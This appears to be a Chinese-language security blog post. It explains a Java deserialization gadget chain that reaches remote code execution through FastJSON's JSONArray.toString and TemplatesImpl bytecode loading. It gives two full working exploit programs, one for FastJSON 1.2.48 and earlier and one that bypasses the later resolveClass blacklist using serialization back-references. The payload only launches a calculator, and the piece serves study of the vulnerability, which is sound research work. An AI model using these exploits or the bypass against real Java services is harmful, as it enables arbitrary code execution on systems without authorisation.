环境
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.19.0-GA</version> </dependency>
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.48</version> </dependency>
|
链子1(FastJSON版本<=1.2.48)
JSON类中的toString()
能调用toJSONString()
,toJSONString()
是FastJSON的序列化关键函数。

我们在FastJSON基础篇中提到:用toJSONString()
进行序列化时,能调用目标类的getter方法。而有些类的getter方法会触发漏洞(TemplatesImpl类下的getOutputProperties()
)

看到newTransformer()
,熟悉吗。详见CC3的内容:

只要能调用newTransformer()
就能恶意加载字节码,实现RCE。
JSON.toString()
->JSON.toJSONString()
现在找找哪些类会调用toString()
,我们关注到BadAttributeValueException类:

这个readObject()
的前两行关注一下:
1 2 3 4
| ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
|
我们只需把val的值通过反射进行修改,即可触发目标对象的toString()
方法。
这里的对象我们不能直接设为JSON对象,而需要引入JSONArray类,因为JSON没有继承Serializable接口,无法序列化,而JSONArray可以:

而且JSONArray继承了JSON类,自身并没有重写toString()
方法,所以调用时会调用到父类(JSON.toString()
),成功触发。
链子逻辑
1 2 3
| BadAttributeValueExpException#readObject()-> JSONArray->JSON#toString()->toJSONString()-> TemplatesImpl#getOutputProperties()->CC3链
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test01 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Calc.class")); Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{code}); setValue(templates, "_name", "xiaofuc"); setValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setValue(badAttributeValueExpException,"val", jsonArray);
serialize(badAttributeValueExpException); unserialize("ser.bin"); }
public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
绕过高版本
在1.2.49版本及以后JSONArray与JSONObject类有了readObject()
,经过断点调试,应用上述的EXP,会走到JSONArray下的readObject()
,这个反序列化过程会委托给SecureObjectInputStream
,触发resolveClass()
拦截恶意类。
反序列化过程会调用java.io.ObjectInputStream#readObject0()
:

其对bytes中的tc类型做相应的处理去恢复对象。
当tc是TC_CLASSDESC时,会调用readClassDesc()
,若下一位tc仍然是TC_CLASSDESC,则会调用readNonProxyDesc()
:

readNonProxy()
->resolveClass()
,触发防御:

我们需要让tc指定为TC_REFERENCE(引用类型)。所以我们要在JSONArray对象反序列化过程中,使恶意类成为引用类型,从而绕过resolveClass()
检查。
如何利用引用类型
这里我跟源码跟得不太明白,详情请见↓
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
直接给出绕过方法与大致原理:
我们向List、Map、Set等类型添加同样的恶意对象即可成功绕过。
1 2 3 4 5 6 7 8 9 10 11
| TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); //先装入一次恶意对象
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); //再次装入 WriteObjects(arrayList);
|
大致原理:
序列化时,templates先加入进arrayList,之后再次序列阿虎到templates时,由于handles(hash表)中找到了映射,所以后续的templates对象会成为REFERENCE类型(引用)。
反序列化时,ArrayList先通过readObject恢复templates对象s,之后恢复BadAttri对象,过程中会触发JSONArray#readObject()
,过程被委托给SecureObjectInputStream,再次恢复templates对象时,因为它已是REFERENCE类型,所以不会触发resolveClass()
,从而实现绕过。
List版EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.ArrayList; import java.util.Base64; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test01 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Calc.class")); Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{code}); setValue(templates, "_name", "xiaofuc"); setValue(templates, "_tfactory", new TransformerFactoryImpl());
ArrayList list = new ArrayList(); list.add(templates);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setValue(badAttributeValueExpException,"val", jsonArray);
list.add(badAttributeValueExpException);
serialize(list); unserialize("ser.bin"); }
public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|